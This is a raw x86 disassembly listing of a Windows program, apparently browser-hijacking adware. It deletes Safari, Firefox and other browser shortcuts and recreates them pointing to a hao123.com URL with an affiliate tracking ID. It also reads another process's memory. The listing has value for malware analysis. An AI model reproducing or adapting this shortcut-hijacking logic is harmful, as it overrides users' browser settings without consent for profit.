jne 0x429aa6
or esi, 0xffffffff
jmp 0x429aac
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a0]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6cc]
push ecx
lea ecx, [ebp - 0x6a0]
call fcn.00421b00
lea ecx, [ebp - 0x6cc]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x650]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a0]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x429c7c
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x429b80
mov ecx, dword [str.Safari.lnk]
mov edx, dword [0x448a4c]
mov dword [eax], ecx
mov ecx, dword [0x448a50]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x650]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x429bd0
push 0x104
lea ecx, [ebp - 0x650]
call fcn.00401bb0
mov eax, dword [ebp - 0x650]
push eax
lea ecx, [ebp - 0x6d4]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6d4]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a0]
call fcn.004021f0
lea ecx, [ebp - 0x650]
jmp 0x42aefa
lea eax, [ebp - 0x62c]
push 0x448a3c
push eax
call fcn.0041bc80
add esp, 8
test al, al
je 0x42a03d
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x429ce4
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x429d00
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x429d16
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x429d40
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x429d40
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x654]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x6dc]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x654]
call fcn.00402bf0
lea ecx, [ebp - 0x6dc]
call fcn.004021f0
mov esi, dword [ebp - 0x654]
cmp dword [esi - 0xc], 0
jl 0x429dd5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x429dd5
sub eax, esi
sar eax, 1
je 0x42a032
lea edx, [ebp - 0x654]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x42a032
push 0x20
lea ecx, [ebp - 0x654]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x690]
push edx
lea ecx, [ebp - 0x654]
call fcn.00421b00
mov edi, dword [ebp - 0x690]
cmp dword [edi - 0xc], 0
jge 0x429e2f
or esi, 0xffffffff
jmp 0x429e4c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x429e46
or esi, 0xffffffff
jmp 0x429e4c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x690]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x6e4]
push eax
lea ecx, [ebp - 0x690]
call fcn.00421b00
lea ecx, [ebp - 0x6e4]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x654]
call fcn.0041f1c0
lea eax, [ebp - 0x690]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a027
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x429f20
mov ecx, dword [0x448a2c]
mov edx, dword [0x448a30]
mov dword [eax], ecx
mov ecx, dword [0x448a34]
mov dword [eax + 4], edx
mov dx, word [0x448a38]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov eax, dword [ebp - 0x654]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x429f7b
push 0x104
lea ecx, [ebp - 0x654]
call fcn.00401bb0
mov eax, dword [ebp - 0x654]
push eax
lea ecx, [ebp - 0x6ec]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x6ec]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x690]
call fcn.004021f0
lea ecx, [ebp - 0x654]
jmp 0x42aefa
lea ecx, [ebp - 0x62c]
push 0x448a1c
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x42a3f4
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x42a090
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a0b0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x42a0c6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x42a0f0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x42a0f0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x674]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x6f4]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x674]
call fcn.00402bf0
lea ecx, [ebp - 0x6f4]
call fcn.004021f0
mov esi, dword [ebp - 0x674]
cmp dword [esi - 0xc], 0
jl 0x42a185
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42a185
sub eax, esi
sar eax, 1
je 0x42a3e9
lea ecx, [ebp - 0x674]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x42a3e9
push 0x20
lea ecx, [ebp - 0x674]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6b0]
push eax
lea ecx, [ebp - 0x674]
call fcn.00421b00
mov edi, dword [ebp - 0x6b0]
cmp dword [edi - 0xc], 0
jge 0x42a1df
or esi, 0xffffffff
jmp 0x42a1fc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42a1f6
or esi, 0xffffffff
jmp 0x42a1fc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6b0]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x6fc]
push ecx
lea ecx, [ebp - 0x6b0]
call fcn.00421b00
lea ecx, [ebp - 0x6fc]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x674]
call fcn.0041f1c0
lea ecx, [ebp - 0x6b0]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a3de
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x42a2d0
mov ecx, dword [0x448a08]
mov edx, dword [0x448a0c]
mov dword [eax], ecx
mov ecx, dword [0x448a10]
mov dword [eax + 4], edx
mov edx, dword [0x448a14]
mov dword [eax + 8], ecx
mov ecx, dword [0x448a18]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x674]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x42a332
push 0x104
lea ecx, [ebp - 0x674]
call fcn.00401bb0
mov eax, dword [ebp - 0x674]
push eax
lea ecx, [ebp - 0x704]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x704]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6b0]
call fcn.004021f0
lea ecx, [ebp - 0x674]
jmp 0x42aefa
lea eax, [ebp - 0x62c]
push 0x4489f8
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a428
lea ecx, [ebp - 0x62c]
push 0x4489ec
push ecx
call fcn.0041bc80
add esp, 8
test al, al
je 0x42aeff
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x30e]
push eax
mov word [ebp - 0x310], dx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x310]
push ecx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x42a460
mov edx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a480
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x42a496
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x42a4c0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x42a4c0
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x65c]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x70c]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x65c]
call fcn.00402bf0
lea ecx, [ebp - 0x70c]
call fcn.004021f0
mov esi, dword [ebp - 0x65c]
cmp dword [esi - 0xc], 0
jl 0x42a555
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42a555
sub eax, esi
sar eax, 1
je 0x42a7b9
lea ecx, [ebp - 0x65c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x42a7b9
push 0x20
lea ecx, [ebp - 0x65c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x65c]
call fcn.00421b00
mov edi, dword [ebp - 0x698]
cmp dword [edi - 0xc], 0
jge 0x42a5af
or esi, 0xffffffff
jmp 0x42a5cc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42a5c6
or esi, 0xffffffff
jmp 0x42a5cc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x698]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x714]
push ecx
lea ecx, [ebp - 0x698]
call fcn.00421b00
lea ecx, [ebp - 0x714]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x65c]
call fcn.0041f1c0
lea ecx, [ebp - 0x698]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42a7ae
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x42a6a0
mov ecx, dword [0x4489d8]
mov edx, dword [0x4489dc]
mov dword [eax], ecx
mov ecx, dword [0x4489e0]
mov dword [eax + 4], edx
mov edx, dword [0x4489e4]
mov dword [eax + 8], ecx
mov ecx, dword [0x4489e8]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 0x65c]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
sub ecx, 0x104
or edx, ecx
jge 0x42a702
push 0x104
lea ecx, [ebp - 0x65c]
call fcn.00401bb0
mov eax, dword [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x71c]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x414]
push eax
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x71c]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x630]
mov edx, dword [ebp - 0x634]
push esi
push ecx
push 0x100e
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x638]
push 0
push 0x10
lea eax, [ebp - 0x624]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x624]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebx], edx
mov edx, dword [ebp - 0x618]
mov dword [ebx + 4], eax
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x698]
call fcn.004021f0
lea ecx, [ebp - 0x65c]
jmp 0x42aefa
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x30e]
push ecx
mov word [ebp - 0x310], ax
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x310]
push edx
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x42a800
mov eax, dword [0x447ed4]
mov dword [edi], eax
mov eax, dword [ebp - 0x62c]
mov edx, eax
jmp 0x42a820
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a820
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x42a836
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x42a860
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x42a860
mov ecx, dword [0x4489a8]
mov edx, dword [0x4489ac]
mov dword [eax], ecx
mov cx, word [0x4489b0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
push 0x445e0c
lea ecx, [ebp - 0x66c]
call fcn.00408290
push ecx
lea edx, [ebp - 0x310]
mov ecx, esp
push edx
call fcn.00408290
lea eax, [ebp - 0x724]
push eax
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x66c]
call fcn.00402bf0
lea ecx, [ebp - 0x724]
call fcn.004021f0
mov esi, dword [ebp - 0x66c]
cmp dword [esi - 0xc], 0
jl 0x42a8f5
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42a8f5
sub eax, esi
sar eax, 1
je 0x42ab50
lea ecx, [ebp - 0x66c]
push 0x445e0c
push ecx
call fcn.0040e670
add esp, 8
test al, al
je 0x42ab50
push 0x20
lea ecx, [ebp - 0x66c]
call fcn.00413e90
mov edx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub edx, eax
push edx
push eax
lea eax, [ebp - 0x6a8]
push eax
lea ecx, [ebp - 0x66c]
call fcn.00421b00
mov edi, dword [ebp - 0x6a8]
cmp dword [edi - 0xc], 0
jge 0x42a94f
or esi, 0xffffffff
jmp 0x42a96c
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42a966
or esi, 0xffffffff
jmp 0x42a96c
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x6a8]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea ecx, [ebp - 0x72c]
push ecx
lea ecx, [ebp - 0x6a8]
call fcn.00421b00
lea ecx, [ebp - 0x72c]
call fcn.004021f0
mov edx, dword [edi - 0xc]
mov eax, dword [ebp - 0x628]
inc edx
push edx
push eax
lea ecx, [ebp - 0x66c]
call fcn.0041f1c0
lea ecx, [ebp - 0x6a8]
push str.http:__hao.360.cn__srclmlsn74a343a692
push ecx
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42ab45
lea edx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x42aa40
mov ecx, dword [str._firefox.lnk]
mov edx, dword [0x4489cc]
mov dword [eax], ecx
mov ecx, dword [0x4489d0]
mov dword [eax + 4], edx
mov dl, byte [0x4489d4]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
mov eax, dword [ebp - 0x66c]
mov edx, dword [eax - 8]
mov ecx, edi
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x42aa99
push 0x104
lea ecx, [ebp - 0x66c]
call fcn.00401bb0
mov eax, dword [ebp - 0x66c]
push eax
lea ecx, [ebp - 0x734]
call fcn.0041c630
mov esi, dword [eax]
push ecx
mov ecx, esp
push str.hao123
call fcn.00408290
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push ecx
push ecx
mov ecx, esp
push str._http:__www.hao123.com__tn95212889_hao_pg_
call fcn.00407e20
push esi
call fcn.00422f50
add esp, 0x14
lea ecx, [ebp - 0x734]
call fcn.004021f0
mov esi, dword [ebp - 0x640]
mov edx, dword [ebp - 0x630]
mov eax, dword [ebp - 0x634]
push esi
push edx
push 0x100e
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov edx, dword [ebp - 0x638]
push 0
push 0x10
lea ecx, [ebp - 0x624]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x624]
mov ecx, dword [ebp - 0x620]
mov edx, dword [ebp - 0x61c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x618]
mov dword [ebx + 4], ecx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], eax
mov dword [ebp - 0x63c], edi
lea ecx, [ebp - 0x6a8]
call fcn.004021f0
lea ecx, [ebp - 0x66c]
jmp 0x42aefa
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x30e]
push edx
mov word [ebp - 0x310], cx
call fcn.0042d580
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x310]
push eax
push 0
call edi
lea edi, [ebp - 0x310]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x42ab91
mov ecx, dword [0x447ed4]
mov eax, dword [ebp - 0x62c]
mov dword [edi], ecx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42abb0
lea edi, [ebp - 0x310]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x42abc6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x310]
rep movsb byte es:[edi], byte [esi]
add eax, 0xfffffffe
jmp 0x42abf0
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x42abf0
mov edx, dword [0x4489a8]
mov ecx, dword [0x4489ac]
mov dword [eax], edx
mov dx, word [0x4489b0]
mov dword [eax + 4], ecx
push 0x445e0c
lea ecx, [ebp - 0x648]
mov word [eax + 8], dx
call fcn.00408290
push ecx
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.00408290
lea ecx, [ebp - 0x73c]
push ecx
call fcn.00423510
add esp, 8
push eax
lea ecx, [ebp - 0x648]
call fcn.00402bf0
lea ecx, [ebp - 0x73c]
call fcn.004021f0
mov esi, dword [ebp - 0x648]
cmp dword [esi - 0xc], 0
jl 0x42ac85
push 0x448d28
push esi
call fcn.0042e2fd
add esp, 8
test eax, eax
je 0x42ac85
sub eax, esi
sar eax, 1
je 0x42aef4
lea edx, [ebp - 0x648]
push 0x445e0c
push edx
call fcn.0040e670
add esp, 8
test al, al
je 0x42aef4
push 0x20
lea ecx, [ebp - 0x648]
call fcn.00413e90
mov ecx, dword [esi - 0xc]
mov dword [ebp - 0x628], eax
inc eax
sub ecx, eax
push ecx
push eax
lea edx, [ebp - 0x684]
push edx
lea ecx, [ebp - 0x648]
call fcn.00421b00
mov edi, dword [ebp - 0x684]
cmp dword [edi - 0xc], 0
jge 0x42acdf
or esi, 0xffffffff
jmp 0x42acfc
push 0x448d24
push edi
call fcn.0042e2fd
add esp, 8
test eax, eax
jne 0x42acf6
or esi, 0xffffffff
jmp 0x42acfc
sub eax, edi
sar eax, 1
mov esi, eax
push 0x22
lea ecx, [ebp - 0x684]
call fcn.00413e90
sub eax, esi
dec eax
push eax
inc esi
push esi
lea eax, [ebp - 0x744]
push eax
lea ecx, [ebp - 0x684]
call fcn.00421b00
lea ecx, [ebp - 0x744]
call fcn.004021f0
mov ecx, dword [edi - 0xc]
mov edx, dword [ebp - 0x628]
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x648]
call fcn.0041f1c0
lea eax, [ebp - 0x684]
push str.http:__hao.360.cn__srclmlsn74a343a692
push eax
call fcn.0041bc80
add esp, 8
test al, al
jne 0x42aee9
lea ecx, [ebp - 0x310]
mov edi, 1
add dword [0x45669c], edi
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call fcn.0042d580
add esp, 0xc
push 0
